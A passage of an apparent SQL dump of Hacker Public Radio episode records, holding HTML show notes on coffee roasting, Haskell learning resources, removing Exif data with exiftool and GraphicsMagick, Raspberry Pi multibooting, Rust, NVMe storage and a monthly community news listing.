roasting\"',0,0,1),
(3573,'2022-04-13','Home Coffee Roasting, part 2',1230,'How I\'ve roasted and brewed coffee','<h2 id=\"roasting\">Roasting</h2>\r\n<p>Popcorn popper</p>\r\n<p>Stovepop</p>\r\n<p><a href=\"https://behmor.com/\">Behmor 2000AB Plus</a></p>\r\n<p><a href=\"https://www.roastmasters.com/sr700.html\">FreshRoast SR700</a> (has been discontinued, newer models are available but the 700 I think was the last one or the only one with USB control)</p>\r\n<p><a href=\"https://github.com/Roastero/Openroast\">Openroast</a></p>\r\n<h2 id=\"brewing\">Brewing</h2>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Moka_pot\">Moka pot</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/French_press\">French Press</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Brewed_coffee#/media/File:Kaffeefilter.jpg\">Pour Over</a></p>\r\n<p><a href=\"https://www.bruer.co/\">Bruer</a></p>\r\n<p><a href=\"https://flairespresso.com/\">Flair</a></p>\r\n<p><a href=\"https://aeropress.com/\">Aeropress</a></p>\r\n<hr />\r\n<p>If I left anything out, let me know in the comments or email me.</p>\r\n<p>For part 1, see <a href=\"https://hackerpublicradio.org/eps.php?id=3563\">hpr3563</a></p>\r\n',399,88,0,'CC-BY-SA','coffee,\"coffee roasting\"',0,0,1),
(3561,'2022-03-28','Employment security',410,'Phone system for the state of Illinois','<p>Going through the phone system for the state of Illinois in the United States.</p>\r\n<p>Feel free to record your experience with various states/countries.</p>\r\n',318,0,0,'CC-BY-SA','Phone call, IDES, Unemployment, Government, Firefox, Internet Explorer',0,0,1),
(3557,'2022-03-22','A short story about Lenovo and laptop batteries',580,'How Lenovo is spicing up the life of their user with strange challenges','<ul>\r\n<li><strong>kvalitetsdatorer.se</strong> <a href=\"https://www.kvalitetsdatorer.se/se/\" class=\"uri\">https://www.kvalitetsdatorer.se/se/</a> The company where I bought my refurbished Thinkpad T530</li>\r\n<li><strong>inxi -Bxxx</strong> Command to get full information about all batteries in the system. Even on devices connected to the computer, as my Sansa Clip+ f.ex.</li>\r\n<li><strong>Thinkpad X230 battery patch</strong> <a href=\"https://bystram.be/posts/thinkpad-x230-battery-ec-patch/\" class=\"uri\">https://bystram.be/posts/thinkpad-x230-battery-ec-patch/</a></li>\r\n<li><strong>batteriexperten.se</strong> <a href=\"https://www.batteriexperten.com/sv/\" class=\"uri\">https://www.batteriexperten.com/sv/</a></li>\r\n<li><strong>tpacpi-bat</strong> A Perl script with ACPI calls for recent ThinkPads (such as T420 and W520) whose battery thresholds are not supported by tp_smapi</li>\r\n</ul>\r\n',309,0,0,'CC-BY-SA','lenovo,batteries,BIOS,customer service',0,0,1),
(3558,'2022-03-23','How I\'m learning Haskell',1394,'Tuula talks about how she\'s learning Haskell','<p>Online resources mentioned in the episode for learning Haskell:</p>\r\n<ul>\r\n<li><a href=\"https://github.com/bitemyapp/learnhaskell\">How to Learn Haskell - Chris Allen</a></li>\r\n<li><a href=\"https://www.seas.upenn.edu/~cis194/spring13/lectures.html\">CIS 194 - Brent Yorgey</a></li>\r\n<li><a href=\"https://www.learnyouahaskell.com/\">Learn You a Haskell for Great Good!</a></li>\r\n<li><a href=\"https://github.com/LambdaHack/LambdaHack\">LambdaHack</a> is a framework for Roguelike games.</li>\r\n</ul>\r\n<p>Books about Haskell:</p>\r\n<ul>\r\n<li><a href=\"https://haskellbook.com/\">Haskell Programming from First Principles - Chris Allen</a></li>\r\n<li><a href=\"https://algebradriven.design/\">Algebra-Driven Design - Sandy Maguire</a></li>\r\n<li><a href=\"https://leanpub.com/optics-by-example\">Optics by Example - Chris Penner</a></li>\r\n<li><a href=\"https://leanpub.com/production-haskell\">Production Haskell</a></li>\r\n<li><a href=\"https://thinkingwithtypes.com/\">Thinking With Types: Type-Level Programming in Haskell - Sandy Maguire</a></li>\r\n<li><a href=\"https://dev.stephendiehl.com/hask/\">What I Wish I Knew When Learning Haskell - Stephen Diehl</a></li>\r\n</ul>\r\n<p>Blogs I follow:</p>\r\n<ul>\r\n<li><a href=\"https://planet.haskell.org/\">Planet Haskell</a></li>\r\n<li><a href=\"https://mmhaskell.com/blog/\">Monday Morning Haskell</a></li>\r\n<li><a href=\"https://lexi-lambda.github.io/\">Alexis King</a></li>\r\n</ul>\r\n<p>Important reminders:</p>\r\n<ul>\r\n<li>haskell isn\'t impossible</li>\r\n<li>you don\'t need math degree to write Haskell</li>\r\n<li>you don\'t need to know category theory</li>\r\n<li>you need practice, you most likely can\'t just stare at code and learn it like that</li>\r\n</ul>\r\n<p>ad astra!</p>\r\n',364,107,0,'CC-BY-SA','haskell, learning, programming, blogs, books',0,0,1),
(3564,'2022-03-31','Removing EXIF data from an image',745,'An image might reveal data you want to keep private','<h2 id=\"introduction\">Introduction</h2>\r\n<p>Im writing a script to process image files sent in by HPR hosts with their shows. One of the things the script does is to strip <em>Exif</em> metadata from such images. Thats because this metadata may contain details that could identify the creator of the image - their camera, their location, and other things. Many people will be alert to this, but in case anything slips through it seems a courtesy to <em>anonymise</em> images sent to HPR.</p>\r\n<p>As I was implementing this I realised that one piece of Exif data: <code>\'Orientation\'</code>, cant just be removed. Sometimes images are created with a particular orientation by the camera but are written with an Exif orientation setting that shows another orientation. If this is just removed the image might be shown wrongly.</p>\r\n<p>This short episode describes the journey I had learning about this issue and finding how to get round it.</p>\r\n<h2 id=\"the-problem\">The Problem</h2>\r\n<p>A show was sent in early March 2022 which had three images with orientation values in the Exif metadata. They had apparently been taken with one orientation but were being rotated for viewing.</p>\r\n<p>I later discovered that the orientation setting can be viewed with the <a href=\"https://www.exiftool.org/\" title=\"ExifTool by Phil Harvey\"><code>exiftool</code></a> command:</p>\r\n<pre><code>$ exiftool -orientation testimage.jpg\r\nOrientation : Rotate 90 CW</code></pre>\r\n<p>You can find information about the <code>Orientation</code> tag on the <a href=\"https://www.exiftool.org/TagNames/EXIF.html\" title=\"ExifTool: EXIF Tags\">ExifTool web site</a>.</p>\r\n<p>The actual image in this case is rotated 90° anti-clockwise (the top of the image is to the left) and this needs to be reversed. The setting <code>\'Rotate 90 CW\'</code> causes it to be displayed after rotating 90° in the clockwise direction. The actual value for this setting is <strong>6</strong>.</p>\r\n<p>The problem is that removing <u>all</u> the Exif data causes such an image to revert to its <em>raw</em> state as explained below.</p>\r\n<h2 id=\"investigation\">Investigation</h2>\r\n<h3 id=\"demonstration\">Demonstration</h3>\r\n<p>It took me a little while to understand this problem because I couldnt find a good explanation of what was going on.</p>\r\n<p>I found a <a href=\"https://github.com/recurser/exif-orientation-examples\" title=\"EXIF Orientation-flag example images\">repository on GitHub</a> which would take a picture and generate all of the possible Exif orientations from it. I used it to generate pictures from one (a thumbnail) I used in an old HPR show. Heres the original picture with an orientation setting of 6 (<code>Rotate 90 CW</code>), and then with the Exif metadata removed.</p>\r\n<p><em>Original image with orientation 6</em><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3564/P1020743_6_original_tn.JPG\" alt=\"Original image with orientation 6\" /></p>\r\n<p><em>Same image with Exif stripped</em><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3564/P1020743_6_stripped_tn.JPG\" alt=\"Same image with Exif stripped\" /></p>\r\n<h3 id=\"methods-used-to-fix-this\">Methods used to fix this</h3>\r\n<p>I found and installed some tools:</p>\r\n<ul>\r\n<li><code>jpegexiforient</code> - reads or writes the Exif Orientation Tag</li>\r\n<li><code>exifautotran</code> - transforms Exif files so that Orientation becomes 1</li>\r\n<li><code>jpegtran</code> - lossless transformation of JPEG files</li>\r\n</ul>\r\n<p>Note that these only operate on JPEG images.</p>\r\n<p>The <code>exifautotran</code> tool is a shell script that uses <code>jpegexiforient</code> to find the orientation and <code>jpegtran</code> to undo whatever rotation (or other transformation) has been defined.</p>\r\n<p>Reading the <code>exifautotran</code> script helped me understand all of this, but I did not use these tools in the end.</p>\r\n<p>In the script I had written to manage images I also needed to do other image operations:</p>\r\n<ul>\r\n<li>interrogate the image to find its size to determine whether a thumbnail was needed</li>\r\n<li>make a thumbnail if necessary</li>\r\n</ul>\r\n<p>To do this I had started to use the <code>GraphicsMagick</code> package.</p>\r\n<p>This package actually caters for the orientation transformation I wanted to perform <u>and</u> can handle many image types, not just JPEG.</p>\r\n<p>The technique is to use the command <code>\'gm convert\'</code> with two options:</p>\r\n<ul>\r\n<li><code>-strip</code> - remove all profiles and text attributes from the image</li>\r\n<li><code>-auto-orient</code> - orient (rotate) the image so it is upright; adjusts the image orientation so that it is suitable for viewing</li>\r\n</ul>\r\n<p>Example:</p>\r\n<pre><code>gm convert -strip -auto-orient sideways_pic.jpg normal_pic.jpg\r\n\r\n</code></pre>\r\n<p>Running this on the images in question removed the Exif orientation after having rotated the pixels of the image to the <code>\'Horizontal (normal)\'</code> state.</p>\r\n<h2 id=\"conclusion\">Conclusion</h2>\r\n<p>I have modified my picture management script to use this technique, and so far it seems to do the job perfectly. It has to be admitted that images with Exif orientation metadata are rare though.</p>\r\n<p>The <code>GraphicsMagick</code> documentation indicates that the transformations needed to generate an upright image could cause problems with some images, so we will be alert to any issues. For the moment, it looks as if the problem is largely solved.</p>\r\n<p>Personally, I gained several things from this journey of discovery:</p>\r\n<ul>\r\n<li>I ended up understanding images a bit better.</li>\r\n<li>Using <code>exiftool</code> to examine these images helped me to understand the power of this tool<a href=\"#fn1\" class=\"footnote-ref\" id=\"fnref1\" role=\"doc-noteref\"><sup>1</sup></a>.</li>\r\n<li>I also discovered that if opened the example image with <code>Gimp</code> it spotted the orientation issue and asked if I wanted it to perform the transformation discussed above.</li>\r\n<li>I installed a KDE image tool called <code>ShowFoto</code> and it also reported the fact that the image existed in two forms, in the same way, and allowed Exif editing.</li>\r\n</ul>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>Exif:\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Exif\">Wikipedia article about Exif</a></li>\r\n<li><a href=\"https://www.exiftool.org/\">ExifTool by Phil Harvey</a>\r\n<ul>\r\n<li><a href=\"https://www.exiftool.org/TagNames/EXIF.html\">EXIF tag names</a></li>\r\n</ul></li>\r\n<li><a href=\"https://github.com/recurser/exif-orientation-examples\">Github repository of Exif orientation examples</a></li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>GraphicsMagick:\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/GraphicsMagick\">Wikipedia article about GraphicsMagick</a></li>\r\n<li><a href=\"https://www.graphicsmagick.org/\">GraphicsMagick main website</a></li>\r\n</ul></li>\r\n</ul>\r\n<section class=\"footnotes\" role=\"doc-endnotes\">\r\n<hr />\r\n<ol>\r\n<li id=\"fn1\" role=\"doc-endnote\"><p>For the record, removing all Exif data with <code>exiftool</code> is achieved with the command:</p>\r\n<pre><code>exiftool -all= image.jpg</code></pre>\r\n<a href=\"#fnref1\" class=\"footnote-back\" role=\"doc-backlink\">↩︎</a></li>\r\n</ol>\r\n</section>\r\n',225,0,1,'CC-BY-SA','image,Exif,exiftool,GraphicsMagick,orientation',0,0,1),
(3579,'2022-04-21','PINN is not NOOBS',650,'Multibooting raspberry pi','<h3 id=\"multiboot-with-pinn\">Multiboot with PINN</h3>\r\n<p><a href=\"https://github.com/procount/pinn/blob/master/README_PINN.md\" class=\"uri\">https://github.com/procount/pinn/blob/master/README_PINN.md</a></p>\r\n<blockquote>\r\n<p>What is PINN (PINN Is Not NOOBS)?</p>\r\n<p>An easy enhanced Operating System installer for the Raspberry Pi</p>\r\n<p>The latest version of PINN can be downloaded from sourceforge.</p>\r\n<p>This README relates to v3.8</p>\r\n<p>(PINN-lite does not include any operating systems at all.</p>\r\n<p>It is more akin to NOOBS-lite rather than NOOBS. For that reason, the filename that you download is called pinn-lite.zip. More recently, pinn.zip has also been made available for download which includes versions of Raspbian and LibreELEC.)</p>\r\n</blockquote>\r\n<h4 id=\"sourceforge\">Sourceforge</h4>\r\n<p><a href=\"https://sourceforge.net/projects/pinn/\" class=\"uri\">https://sourceforge.net/projects/pinn/</a></p>\r\n<h4 id=\"github\">Github</h4>\r\n<p><a href=\"https://github.com/procount/pinn\" class=\"uri\">https://github.com/procount/pinn</a></p>\r\n<ul>\r\n<li><h5 id=\"release-page\">Release page</h5>\r\n<ul>\r\n<li><a href=\"https://github.com/procount/pinn/releases/tag/p3.8.1\" class=\"uri\">https://github.com/procount/pinn/releases/tag/p3.8.1</a></li>\r\n</ul></li>\r\n</ul>\r\n<h4 id=\"web-ui-for-pinn\">Web UI for PINN</h4>\r\n<p><a href=\"https://pinn.mjh.nz/\" class=\"uri\">https://pinn.mjh.nz/</a></p>\r\n<ul>\r\n<li><h5 id=\"instructions\">Instructions</h5></li>\r\n</ul>\r\n<blockquote>\r\n<p>Unzip pinn-lite.zip</p>\r\n</blockquote>\r\n<blockquote>\r\n<p>Replace recovery.cmdline file in PINN directory with downloaded file</p>\r\n</blockquote>\r\n<blockquote>\r\n<p>Copy the contents of the PINN directory to your FAT32 formatted media</p>\r\n</blockquote>\r\n<blockquote>\r\n<p>Boot your Raspberry Pi</p>\r\n</blockquote>\r\n<blockquote>\r\n<p>Select all systems and install</p>\r\n</blockquote>\r\n<blockquote>\r\n<p>Enjoy!</p>\r\n</blockquote>\r\n<p><em>Installation instructions</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3579/image_005.png\"><img src=\"https://hackerpublicradio.org/eps/hpr3579/image_005_thumbnail.png\" alt=\"Installation instructions\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\r\n<p><a href=\"https://www.youtube.com/watch?v=tc2dSMiUfmI&amp;t=171s\" class=\"uri\">https://www.youtube.com/watch?v=tc2dSMiUfmI&amp;t=171s</a></p>\r\n<h4 id=\"raspberry-pi-os-64-bit-release-news\">Raspberry Pi OS 64-bit release news</h4>\r\n<p><a href=\"https://www.raspberrypi.com/news/raspberry-pi-os-64-bit/\" class=\"uri\">https://www.raspberrypi.com/news/raspberry-pi-os-64-bit/</a></p>\r\n<ul>\r\n<li><h5 id=\"downloads\">Downloads</h5>\r\n<ul>\r\n<li><a href=\"https://www.raspberrypi.com/software/operating-systems/\" class=\"uri\">https://www.raspberrypi.com/software/operating-systems/</a></li>\r\n</ul></li>\r\n</ul>\r\n<p><em>OS installation selection</em><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3579/image_001.jpg\" alt=\"OS installation selection\" /></p>\r\n<p><em>Installing RetroPie</em><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3579/image_002.jpg\" alt=\"Installing RetroPie\" /></p>\r\n<p><em>Installing Kodi/OSMC</em><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3579/image_003.jpg\" alt=\"Installing Kodi/OSMC\" /></p>\r\n<p><em>Boot selection menu</em><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3579/image_004.jpg\" alt=\"Boot selection menu\" /></p>\r\n',318,0,0,'CC-BY-SA','Raspberry Pi, 64 bit, multiboot, Retropie, Kodi',0,0,1),
(3569,'2022-04-07','Linux Inlaws S01E53: Rust Marketing',2661,'A shameless plug for this hippster programming language and why you should use it','<p>In this episode our two heroes explore the depths a new (?) hipster\r\nprogramming language called Rust. Being an obvious piece of blatant technology\r\nmarketing, the Linux Inlaws are still waiting for the funds to arrive from the\r\nRust Foundation :-) (@Foundation: If you want to get in touch please send\r\na mail to sponsor at linuxinlaws eu). Jokes aside, the episode give a short\r\noverview of this new programming language without going into deeper technical\r\ndetails as this podcast is only the usual four hours long.</p>\r\n\r\n<h2>Links:</h2>\r\n<ul>\r\n<li>Rust: <a href=\"https://en.wikipedia.org/wiki/Rust\" target=_blank>https://en.wikipedia.org/wiki/Rust</a></li>\r\n<li>Rust (II): <a href=\"https://www.rust-lang.org\" target=_blank>https://www.rust-lang.org</a></li>\r\n<li>Firefox and Rust: <a href=\"https://servo.org\" target=_blank>https://servo.org</a></li>\r\n<li>Rust on TIOBE: <a href=\"https://www.tiobe.com/tiobe-index/rust\" target=_blank>https://www.tiobe.com/tiobe-index/rust</a></li>\r\n<li>Rust adoption: <a href=\"https://thenewstack.io/rust-by-the-numbers-the-rust-programming-language-in-2021\" target=_blank>https://thenewstack.io/rust-by-the-numbers-the-rust-programming-language-in-2021</a></li>\r\n<li>Bottlerocket: <a href=\"https://aws.amazon.com/bottlerocket/\" target=_blank>https://aws.amazon.com/bottlerocket/</a></li>\r\n<li>Rust Foundation: <a href=\"https://foundation.rust-lang.org\" target=_blank>https://foundation.rust-lang.org</a></li>\r\n<li>Cargo (Rust\'s package management and build system): <a href=\"https://doc.rust-lang.org/cargo\" target=_blank>https://doc.rust-lang.org/cargo</a></li>\r\n<li>Rust\'s Crates: <a href=\"https://crates.io\" target=_blank>https://crates.io</a></li>\r\n<li>D-Wave\'s quantum machines: <a href=\"https://www.dwavesys.com/solutions-and-products/systems\" target=_blank>https://www.dwavesys.com/solutions-and-products/systems</a></li>\r\n<li>Grumpies: <a href=\"https://grumpy-old-coders.org\" target=_blank>https://grumpy-old-coders.org</a></li>\r\n</ul>\r\n',384,111,1,'CC-BY-SA','Rust, The Rust Foundation, Firefox, D-Wave, Cargo',0,0,1),
(3568,'2022-04-06','PopKorn Episode 2: Programming, Mathematics, and Asymmetric Literacy',899,'in This episOde, blackeRnel Tries to help yoU undeRstand Enough about math and programming','<h1>Talking Points</h1>\r\n<ul>\r\n <li>Any audio is better than no audio?</li>\r\n <li>Mathematics = Logic</li>\r\n <li>ZFC Axioms show logical structure</li>\r\n <li>Peano Axioms illustrating this point</li>\r\n <li>Euclid\'s Axioms showing how just because something is logical doesn\'t mean that has anything to do with reality</li>\r\n <li>x86 Instruction set showing the axiomatic basis of programming</li>\r\n <li>Asymmetric Literacy in Chinese languages.</li>\r\n <li>NOTE: This section is slightly incorrect in that there is a separate written form for Cantonese as well, but I hope that the main idea is still intelligible.</li>\r\n</ul>\r\n\r\n<hr>\r\n\r\n<h1>Show Notes</h1>\r\n<h4>Important Links:</h4>\r\n<ul>\r\n <li><a href=\"https://nixnet.social/notice/AHe409EDWjWtFgnYIa\">Relevant Mastodon Status</a></li>\r\n</ul>\r\n\r\n<h4>Wikipedia Articles:</h4>\r\n<ul>\r\n <li><a href=\"https://en.wikipedia.org/wiki/Zermelo%E2%80%93Fraenkel_set_theory\">ZFC set theory</a></li>\r\n <li><a href=\"https://en.wikipedia.org/wiki/Von_Neumann%E2%80%93Bernays%E2%80%93G%C3%B6del_set_theory\">Von Neumann-Bernays-G&ouml;del set theory</a></li>\r\n <li><a href=\"https://en.wikipedia.org/wiki/Peano_axioms\">Peano axioms</a></li>\r\n <li><a href=\"https://en.wikipedia.org/wiki/Euclidean_geometry#Axioms\">Euclid\'s axioms</a></li>\r\n <li><a href=\"https://en.wikipedia.org/wiki/Parallel_postulate#Equivalent_properties\">Equivalent Axioms to the 5th postulate (Number 8 is rectangles exist)</a></li>\r\n <li><a href=\"https://en.wikipedia.org/wiki/X86_instruction_listings\">x86 Instruction Listings</a></li>\r\n <li><a href=\"https://en.wikipedia.org/wiki/Written_Chinese\">Written Chinese</a></li>\r\n <li><a href=\"https://en.wikipedia.org/wiki/Cantonese\">Cantonese</a></li>\r\n <li><a href=\"https://en.wikipedia.org/wiki/Mandarin_Chinese\">Mandarin Chinese</a></li>\r\n <li><a href=\"https://en.wikipedia.org/wiki/Written_Cantonese\">Written Cantonese</a></li>\r\n</ul>\r\n\r\n<hr>\r\n\r\n<i>Contact Me</i>\r\n<ul>\r\n<li><b>Email: </b><a href=\"mailto:izzyleibowitz@pm.me\">izzyleibowitz at pm dot me</a></li>\r\n<li><b>Mastodon: </b><a href=\"https://nixnet.social/BlacKernel\">at blackernel at nixnet dot social</a></li>\r\n</ul>\r\n',396,0,0,'CC-BY-SA','improv, math, popkorn, programming, language',0,0,1),
(3571,'2022-04-11','The Meatball Mystery',512,'A naming oddity leads to questions about geneaology and American history','<p>Discussing the interesting oddity that is the meatball; its origins, and some misconceptions and coincidences surrounding the tasty \"traditional\" dish of spaghetti and meatballs.</p>\r\n<p>Historical context and explanations were provided by the article \"<a href=\"https://www.smithsonianmag.com/arts-culture/is-spaghetti-and-meatballs-italian-94819690/\">Is Spaghetti and Meatballs Italian?</a>\" by <a href=\"https://www.smithsonianmag.com/author/shaylyn-esposito/\">Shaylyn Esposito</a>, published in <a href=\"https://www.smithsonianmag.com\">Smithsonian Magazine</a>.</p>',196,0,1,'CC-BY-SA','cuisine, food, genealogy',0,0,1),
(3572,'2022-04-12','More about NVMe',1142,'Who what when and were of NVMe','<p><a href=\"https://www.pcworld.com/article/432532/everything-you-need-to-know-about-nvme.html\" class=\"uri\">NVMe SSDs: Everything you need to know about this insanely fast storage</a></p>\r\n\r\n<p>\r\nNVM Express (NVMe) or Non-Volatile Memory Host Controller Interface Specification (NVMHCIS) is an open, logical-device interface specification for accessing a computer\'s non-volatile storage media usually attached via PCI Express (PCIe) bus. The acronym NVM stands for non-volatile memory, which is often NAND flash memory that comes in several physical form factors, including solid-state drives (SSDs), PCI Express (PCIe) add-in cards, and M.2 cards, the successor to mSATA cards. NVM Express, as a logical-device interface, has been designed to capitalize on the low latency and internal parallelism of solid-state storage devices<br />\r\n<a href=\"https://en.wikipedia.org/wiki/NVM_Express\">https://en.wikipedia.org/wiki/NVM_Express</a>\r\n</p>\r\n\r\n\r\n',129,0,0,'CC-BY-SA','ssd,NVME Storage,high performance',0,0,1),
(3567,'2022-04-05','What is NVMe™ and why is it important?',1020,'A short Podcast about NVMe how it works and it is good','<p><a href=\"https://blog.westerndigital.com/nvme-important-data-driven-businesses/\" class=\"uri\">https://blog.westerndigital.com/nvme-important-data-driven-businesses/</a></p>\r\n\r\n<p>\r\nNVM Express (NVMe) or Non-Volatile Memory Host Controller Interface Specification (NVMHCIS) is an open, logical-device interface specification for accessing a computer\'s non-volatile storage media usually attached via PCI Express (PCIe) bus. The acronym NVM stands for non-volatile memory, which is often NAND flash memory that comes in several physical form factors, including solid-state drives (SSDs), PCI Express (PCIe) add-in cards, and M.2 cards, the successor to mSATA cards. NVM Express, as a logical-device interface, has been designed to capitalize on the low latency and internal parallelism of solid-state storage devices<br />\r\n<a href=\"https://en.wikipedia.org/wiki/NVM_Express\">https://en.wikipedia.org/wiki/NVM_Express</a>\r\n</p>\r\n\r\n',129,0,0,'CC-BY-SA','ssd,NVME Storage,high performance',0,0,1),
(3826,'2023-04-03','HPR Community News for March 2023',5070,'HPR Volunteers talk about shows released and comments posted in March 2023','<style>\ntable td.shrink {\n white-space:nowrap\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nThere were no new hosts this month.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3803\" target=\"_blank\">3803</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-03-01</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3803\" target=\"_blank\">Chatbot hallucination</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0399.html\" target=\"_blank\">dnt</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3804\" target=\"_blank\">3804</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-03-02</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3804\" target=\"_blank\">2022-2023 New Years Show Episode 2</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0159.html\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3805\" target=\"_blank\">3805</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-03-03</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3805\" target=\"_blank\">Document File Formats on Wikipedia</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0318.html\" target=\"_blank\">Archer72</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3806\" target=\"_blank\">3806</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-03-06</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3806\" target=\"_blank\">HPR Community News for February 2023</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0159.html\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3807\" target=\"_blank\">3807</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-03-07</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3807\" target=\"_blank\">PeePaw builds a computer</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0326.html\" target=\"_blank\">Brian in Ohio</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3808\" target=\"_blank\">3808</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-03-08</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3808\" target=\"_blank\">Funkwhale A social platform to enjoy and share music</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0030.html\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3809\" target=\"_blank\">3809</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-03-09</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3809\" target=\"_blank\">The Abominable Post Apocalyptic Podcast Player</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0401.html\" target=\"_blank\">Mechatroniac</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3810\" target=\"_blank\">3810</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-03-10</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3810\" target=\"_blank\">Clifton, Arizona</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3811\" target=\"_blank\">3811</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-03-13</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3811\" target=\"_blank\">mkfifo and named pipes</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0078.html\" target=\"_blank\">Klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3812\" target=\"_blank\">3812</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-03-14</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3812\" target=\"_blank\">PeePaw\'s computer does nothing</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0326.html\" target=\"_blank\">Brian in Ohio</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3813\" target=\"_blank\">3813</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-03-15</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3813\" target=\"_blank\">The postmarketOS Podcast</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0030.html\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3814\" target=\"_blank\">3814</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-03-16</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3814\" target=\"_blank\">2022-2023 New Years Show Episode 3</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0159.html\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3815\" target=\"_blank\">3815</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-03-17</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3815\" target=\"_blank\">The UNIVAC Uniscope - The first terminal with a video monitor</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0194.html\" target=\"_blank\">Deltaray</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3816\" target=\"_blank\">3816</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-03-20</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3816\" target=\"_blank\">Post Apocalyptic 4s5 Battery Pack </a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0401.html\" target=\"_blank\">Mechatroniac</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3817\" target=\"_blank\">3817</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-03-21</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3817\" target=\"_blank\">The Oh No! News.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3818\" target=\"_blank\">3818</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-03-22</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3818\" target=\"_blank\">nop test redux</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0326.html\" target=\"_blank\">Brian in 